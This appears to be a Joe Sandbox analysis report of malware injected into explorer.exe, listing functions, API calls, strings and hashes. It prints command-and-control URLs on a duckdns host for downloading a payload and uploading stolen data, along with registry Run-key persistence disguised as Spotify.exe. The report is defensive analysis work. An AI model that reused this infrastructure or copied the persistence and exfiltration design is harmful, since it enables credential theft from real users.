String ID: %s %s$8DWH9$HWID_%s$Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0$http://jholo.duckdns.org:8181/PASSWORDRECOVERY64EXE.EXE$http://jholo.duckdns.org:8181/upload.php${2046C745-B848-47EE-8068-B039EAC15A1C}${77502BD7-F094-4214-B203-3420A1B5DA5A}${80B01CD6-9400-4D04-9C3F-8E33F208D7F0}${CCDA2DA7-D4F8-4F83-BFB6-45A8FDBB92EB}${D83724BA-04CE-4C5A-92C0-4EFDCB8527B7}
API String ID: 1616647813-2197411971
Opcode ID: ed85ddc92422963fe84181da24f9d54ef7f1b7cb9a7efb9a38633701095274f8
Instruction ID: 2afd4a396b246c48ce20dcbf3cacfaa361779d8dc76cedb8e2f1328b19006188
Opcode Fuzzy Hash: ed85ddc92422963fe84181da24f9d54ef7f1b7cb9a7efb9a38633701095274f8
Instruction Fuzzy Hash: A4020B35218B8486EB6DEB64F8943DA77A2F788758F40413AEA4D437A4DF7CC14ACB40

Function 011AD600 Relevance: 59.8, APIs: 28, Strings: 6, Instructions: 259
librarymemorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexW.KERNEL32 ref: 011AD615
LoadLibraryW.KERNEL32 ref: 011AD629
LocalAlloc.KERNEL32 ref: 011AD647
GetModuleFileNameW.KERNEL32 ref: 011AD671
SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB

Part of subcall function 011B2610: SetEvent.KERNEL32 ref: 011B262F
Part of subcall function 011B2610: WaitForSingleObject.KERNEL32 ref: 011B264B
Part of subcall function 011B2610: CloseHandle.KERNEL32 ref: 011B2662
Part of subcall function 011B2610: SetEvent.KERNEL32 ref: 011B2679
Part of subcall function 011B2610: WaitForSingleObject.KERNEL32 ref: 011B2695
Part of subcall function 011B2610: CloseHandle.KERNEL32 ref: 011B26AC
Part of subcall function 011B2610: CloseHandle.KERNEL32 ref: 011B26C3
Part of subcall function 011B2610: SetEvent.KERNEL32 ref: 011B26DA
Part of subcall function 011B2610: WaitForSingleObject.KERNEL32 ref: 011B26F6
Part of subcall function 011B2610: CloseHandle.KERNEL32 ref: 011B270D
Part of subcall function 011B2610: SetEvent.KERNEL32 ref: 011B2724
Part of subcall function 011B2610: WaitForSingleObject.KERNEL32 ref: 011B2740
Part of subcall function 011B2610: CloseHandle.KERNEL32 ref: 011B2757
Part of subcall function 011B2610: CloseHandle.KERNEL32 ref: 011B276E

CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Strings

{45B611DD-86ED-4560-AAC7-993511C63D52}, xrefs: 011AD831, 011AD862
{4002ADAA-2323-44A5-9F39-80B79D7023EC}, xrefs: 011AD796, 011AD7C4
{BBD69D41-7ECF-4B3B-8592-7E70DE12B303}, xrefs: 011AD607
{CCDA2DA7-D4F8-4F83-BFB6-45A8FDBB92EB}, xrefs: 011AD6CB
KERNEL32.DLL, xrefs: 011AD622
{1C8F1E61-D31A-4DE2-A46A-E1D82FC75222}, xrefs: 011AD7E2, 011AD810

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait$ExitLocalProcess$AllocFileFreeLibraryLoadModuleMutexNameOpen
String ID: KERNEL32.DLL${1C8F1E61-D31A-4DE2-A46A-E1D82FC75222}${4002ADAA-2323-44A5-9F39-80B79D7023EC}${45B611DD-86ED-4560-AAC7-993511C63D52}${BBD69D41-7ECF-4B3B-8592-7E70DE12B303}${CCDA2DA7-D4F8-4F83-BFB6-45A8FDBB92EB}
API String ID: 2953619224-2001950224
Opcode ID: 7d4233aa22a0ef6a752a48a5c6b58013a9f72c86b8a6f913a1f9c80323a7af34
Instruction ID: 7b7a688c6ef4ad0c43a4d31c1bb455fb1ee32b6a0fbae037610e8e6e5ca32020
Opcode Fuzzy Hash: 7d4233aa22a0ef6a752a48a5c6b58013a9f72c86b8a6f913a1f9c80323a7af34
Instruction Fuzzy Hash: 80D14F39108F84C6EF6CABA4F8543DA7BA1F780758F804129D79A46EA4DF7CC089CB41

Function 011A9D20 Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::rethrow_exception.LIBCMTD ref: 011A9DE0
std::rethrow_exception.LIBCMTD ref: 011A9E64

Strings

h, xrefs: 011A9F2E
*/*, xrefs: 011A9D4D
GET, xrefs: 011AA0C2

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: std::rethrow_exception
String ID: */*$GET$h
API String ID: 1317400359-3109941101
Opcode ID: f129953d59edf0b601b504c3e7c4680672db90959bf7e53f46ffae57e779adc8
Instruction ID: 6a0a7e852ded5dbfde3bfa200ce1c17344cde8507c1cba67420deb8a3b348aa9
Opcode Fuzzy Hash: f129953d59edf0b601b504c3e7c4680672db90959bf7e53f46ffae57e779adc8
Instruction Fuzzy Hash: CF02F376218AC486E779DB15F4943DEBBA0FB88784F904126DB8983B58DF7CC489CB40

Function 01191000 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 011A8830: LoadLibraryW.KERNEL32 ref: 011A8842

ExitProcess.KERNEL32 ref: 0119104B
GetModuleFileNameW.KERNEL32 ref: 01191076
ExitProcess.KERNEL32 ref: 01191082

Strings

{56B2BCE6-A24C-48AB-82DC-EE1FC9C9389D}, xrefs: 011910AF
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 011910FB
{80130DAC-3FD0-43E8-A3CA-91C0865C2735}, xrefs: 01191134

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ExitProcess$FileLibraryLoadModuleName
String ID: {29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}${56B2BCE6-A24C-48AB-82DC-EE1FC9C9389D}${80130DAC-3FD0-43E8-A3CA-91C0865C2735}
API String ID: 2450766465-982829053
Opcode ID: b9869db3e5f7c4508dfd2fe2599929d060a4f2c79dbf368f78a08d4dec883f46
Instruction ID: ff690048291165ff3197f57ef73099774f6a9feffe4e6d2b5aaf502013fd1f73
Opcode Fuzzy Hash: b9869db3e5f7c4508dfd2fe2599929d060a4f2c79dbf368f78a08d4dec883f46
Instruction Fuzzy Hash: D9414970224B8592EB2CEF70F8593DA73A1FB84758F80453DD69A86664DF3DC19ACB40

Function 011B2340 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 132
threadnetworkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 011B2350
CreateEventW.KERNEL32 ref: 011B2367
CreateThread.KERNEL32 ref: 011B239D
LocalFree.KERNEL32 ref: 011B23BF
LocalFree.KERNEL32 ref: 011B24B6
CreateEventW.KERNEL32 ref: 011B2506
CreateThread.KERNEL32 ref: 011B253C
CloseHandle.KERNEL32 ref: 011B255C
WSAStartup.WS2_32 ref: 011B256B
CreateThread.KERNEL32 ref: 011B259D
CreateThread.KERNEL32 ref: 011B25C9
WSACleanup.WS2_32 ref: 011B25E7

Strings

{669627E2-6B39-4990-B906-8786734FF1DD}, xrefs: 011B249A
Spotify.exe, xrefs: 011B244B
"%s%s", xrefs: 011B245F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$EventFreeLocal$CleanupCloseHandleStartuplstrlen
String ID: "%s%s"$Spotify.exe${669627E2-6B39-4990-B906-8786734FF1DD}
API String ID: 168511978-1023982500
Opcode ID: 9aebad6ca0014e8195b976bf8917804cce9ca2f0a7ce69afa20890b83307dac2
Instruction ID: 334f95d01d7590dfd38f54559a845cf472084a158bbc993863a70ced0cb44453
Opcode Fuzzy Hash: 9aebad6ca0014e8195b976bf8917804cce9ca2f0a7ce69afa20890b83307dac2
Instruction Fuzzy Hash: 26616C71204B49C2FB2CEF64F9987DA77A5F798748F40412ADA4A87A64CF7CC189CB41

Function 011ADC00 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 106
encryptionsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32 ref: 011ADC4E
CryptCreateHash.ADVAPI32 ref: 011ADC77
WaitForSingleObject.KERNEL32 ref: 011ADCE5
CryptHashData.ADVAPI32 ref: 011ADD0F
CryptHashData.ADVAPI32 ref: 011ADD4E
CryptReleaseContext.ADVAPI32 ref: 011ADDAC
CryptReleaseContext.ADVAPI32 ref: 011ADDD2
CryptDestroyHash.ADVAPI32 ref: 011ADDE5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 011ADC40

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$DataRelease$AcquireCreateDestroyObjectSingleWait
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 1452691613-63410773
Opcode ID: f6a205860e882ed8ebe0ba0d3915f1ee79818a5dd84249d0a98f84a41e6c144c
Instruction ID: dac46f1a2099aa3bb034c346dede1b80793b113227aab751646fe88baf021091
Opcode Fuzzy Hash: f6a205860e882ed8ebe0ba0d3915f1ee79818a5dd84249d0a98f84a41e6c144c
Instruction Fuzzy Hash: 07510D36218A8086E758DF59F45479EBBA1F7C4784F505029F78A82EA8CF7DC445CF40

Function 011B23B6 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 101threadnetworkCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011B24B6
CreateEventW.KERNEL32 ref: 011B2506
CreateThread.KERNEL32 ref: 011B253C
CloseHandle.KERNEL32 ref: 011B255C
WSAStartup.WS2_32 ref: 011B256B
CreateThread.KERNEL32 ref: 011B259D
CreateThread.KERNEL32 ref: 011B25C9

Part of subcall function 011ADEF0: AllocateAndInitializeSid.ADVAPI32 ref: 011ADF62
Part of subcall function 011ADEF0: CheckTokenMembership.ADVAPI32 ref: 011ADF7F
Part of subcall function 011ADEF0: FreeSid.ADVAPI32 ref: 011ADF96

WSACleanup.WS2_32 ref: 011B25E7

Part of subcall function 0119F510: SHGetKnownFolderPath.SHELL32 ref: 0119F587
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F59A
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F5B5
Part of subcall function 0119F510: LocalAlloc.KERNEL32 ref: 0119F5DC
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F620
Part of subcall function 0119F510: CoTaskMemFree.COMBASE ref: 0119F635

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

Part of subcall function 01197EF0: CoInitializeEx.COMBASE ref: 01197FFA

Strings

{669627E2-6B39-4990-B906-8786734FF1DD}, xrefs: 011B249A
Spotify.exe, xrefs: 011B244B
"%s%s", xrefs: 011B245F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FreeThreadlstrlen$InitializeLocal$AllocAllocateCheckCleanupCloseEventFolderHandleKnownMembershipPathStartupTaskToken_errno_invalid_parameter_noinfo
String ID: "%s%s"$Spotify.exe${669627E2-6B39-4990-B906-8786734FF1DD}
API String ID: 2779143808-1023982500
Opcode ID: a82c63f49fc84d51f6ceb823c207fd6abdfa60ac5806495aac224a5eadf16768
Instruction ID: 38a37e63344a0b77943ac9b17367ed622de38b3eeaba893e741b4ea3136b0005
Opcode Fuzzy Hash: a82c63f49fc84d51f6ceb823c207fd6abdfa60ac5806495aac224a5eadf16768
Instruction Fuzzy Hash: 69515B31104B9586FB3DEF64F8987DA77A5F798348F40412ADA8A86A64DF3CC189CB41

Function 011BF6DC Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 011BF6F2
GetVersion.KERNEL32 ref: 011BF704
HeapSetInformation.KERNEL32 ref: 011BF722

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: c525bb8dc8427b67045047140108d528e73815ef1e63f505b45dd767e355412e
Instruction ID: 61c29c7c1b8f3ecfa20baa02da060e850f9ad9ca4dc62c33b8cefdcf3de47ad6
Opcode Fuzzy Hash: c525bb8dc8427b67045047140108d528e73815ef1e63f505b45dd767e355412e
Instruction Fuzzy Hash: 03E0DF78615F5182FB8C5B14E899BD92261F789381F806029EB4E42764DF3CC08BC708

Function 011A8830 Relevance: 119.9, APIs: 51, Strings: 17, Instructions: 909libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 011A8842
GetProcAddress.KERNEL32 ref: 011A88D8

Strings

DBGHELP.DLL, xrefs: 011A996B
SECUR32.DLL, xrefs: 011A9AA1
KERNEL32.DLL, xrefs: 011A897D
WINMM.DLL, xrefs: 011A9835
GDI32.DLL, xrefs: 011A8BE9
WTSAPI32.DLL, xrefs: 011A9345
ADVAPI32.DLL, xrefs: 011A8D1F
WS2_32.DLL, xrefs: 011A947B
OLE32.DLL, xrefs: 011A90CD
MSI.DLL, xrefs: 011A96F3
NTDLL.DLL, xrefs: 011A883B
CRYPT32.DLL, xrefs: 011A9BD7
USER32.DLL, xrefs: 011A8AB3
WINHTTP.DLL, xrefs: 011A9203
GDIPLUS.DLL, xrefs: 011A95BD
SHELL32.DLL, xrefs: 011A8F97
SHLWAPI.DLL, xrefs: 011A8E61

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ADVAPI32.DLL$CRYPT32.DLL$DBGHELP.DLL$GDI32.DLL$GDIPLUS.DLL$KERNEL32.DLL$MSI.DLL$NTDLL.DLL$OLE32.DLL$SECUR32.DLL$SHELL32.DLL$SHLWAPI.DLL$USER32.DLL$WINHTTP.DLL$WINMM.DLL$WS2_32.DLL$WTSAPI32.DLL
API String ID: 2574300362-2969658442
Opcode ID: f90370e5532e15aea78f9185266f08c44aefdf0f6daa0f53754c809366cb5b92
Instruction ID: 7d6b9f347e311238f35b472639f9c6e2aed3dc907d8f44ae0ab2b39207dda178
Opcode Fuzzy Hash: f90370e5532e15aea78f9185266f08c44aefdf0f6daa0f53754c809366cb5b92
Instruction Fuzzy Hash: 27B2E83A218B89C5EB78CB14F4943EAB760F7C9759F810516CA8E43B68DF38C199CB41

Function 011B3C70 Relevance: 61.8, APIs: 41, Instructions: 306
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 011B3C9A
WSAGetLastError.WS2_32 ref: 011B3CB4
WSACreateEvent.WS2_32 ref: 011B3CBA
shutdown.WS2_32 ref: 011B42B6
closesocket.WS2_32 ref: 011B42C1

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CreateErrorEventLastclosesocketshutdownsocket
String ID:
API String ID: 1739004367-0
Opcode ID: dcaf40f4610bbbedde6c4bc399f23527267634a2a82ab33fdc6244b7fdff342a
Instruction ID: 3c3188979d06db3188d2dea25b5ba7c8339c8451e44c9afd2ed96031e3f2c02c
Opcode Fuzzy Hash: dcaf40f4610bbbedde6c4bc399f23527267634a2a82ab33fdc6244b7fdff342a
Instruction Fuzzy Hash: B8F1ED36228AC4CAD7689F15F8847DAB7A0F789755F004126EB9B87A69DF3CC445CF01

Function 011A6800 Relevance: 47.5, APIs: 26, Strings: 1, Instructions: 239
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 011A6880
lstrcpyW.KERNEL32 ref: 011A68A1
StrStrIW.SHLWAPI ref: 011A68B3
CreateFileW.KERNEL32 ref: 011A68F3
GetFileSize.KERNEL32 ref: 011A6911
LocalAlloc.KERNEL32 ref: 011A6931
ReadFile.KERNEL32 ref: 011A6968
CloseHandle.KERNEL32 ref: 011A6984

Strings

.DLL, xrefs: 011A68A7

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: File$AllocLocal$CloseCreateHandleReadSizelstrcpy
String ID: .DLL
API String ID: 2968648924-899428287
Opcode ID: 94ce4cef34f48db25710ebb7938b358f5a319298ed3ba92ef7ae4f5844074c4b
Instruction ID: 455bb72b93734b870986b6d69c7d07a267edd811366cf39788a8f4b3d78d7895
Opcode Fuzzy Hash: 94ce4cef34f48db25710ebb7938b358f5a319298ed3ba92ef7ae4f5844074c4b
Instruction Fuzzy Hash: 61D1DC76208B8486E768DB19F49439AB7A1F7C47A4F504225D79E87BA8DF3CC489CF40

Function 0119F200 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 74
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0119F510: SHGetKnownFolderPath.SHELL32 ref: 0119F587
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F59A
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F5B5
Part of subcall function 0119F510: LocalAlloc.KERNEL32 ref: 0119F5DC
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F620
Part of subcall function 0119F510: CoTaskMemFree.COMBASE ref: 0119F635

LocalAlloc.KERNEL32 ref: 0119F230
wnsprintfW.SHLWAPI ref: 0119F275
RegOpenKeyW.ADVAPI32 ref: 0119F29B
RegSetValueExW.ADVAPI32 ref: 0119F2D3
RegCloseKey.ADVAPI32 ref: 0119F2DE
RegOpenKeyW.ADVAPI32 ref: 0119F300
RegSetValueExW.ADVAPI32 ref: 0119F338
RegCloseKey.ADVAPI32 ref: 0119F343
LocalFree.KERNEL32 ref: 0119F34E
LocalFree.KERNEL32 ref: 0119F359

Strings

{669627E2-6B39-4990-B906-8786734FF1DD}, xrefs: 0119F247
%s%s %s, xrefs: 0119F264
Spotify.exe, xrefs: 0119F253
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0119F28D
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0119F2F2

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Freelstrlen$AllocCloseOpenValue$FolderKnownPathTaskwnsprintf
String ID: %s%s %s$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run$Spotify.exe${669627E2-6B39-4990-B906-8786734FF1DD}
API String ID: 1790340015-4130844771
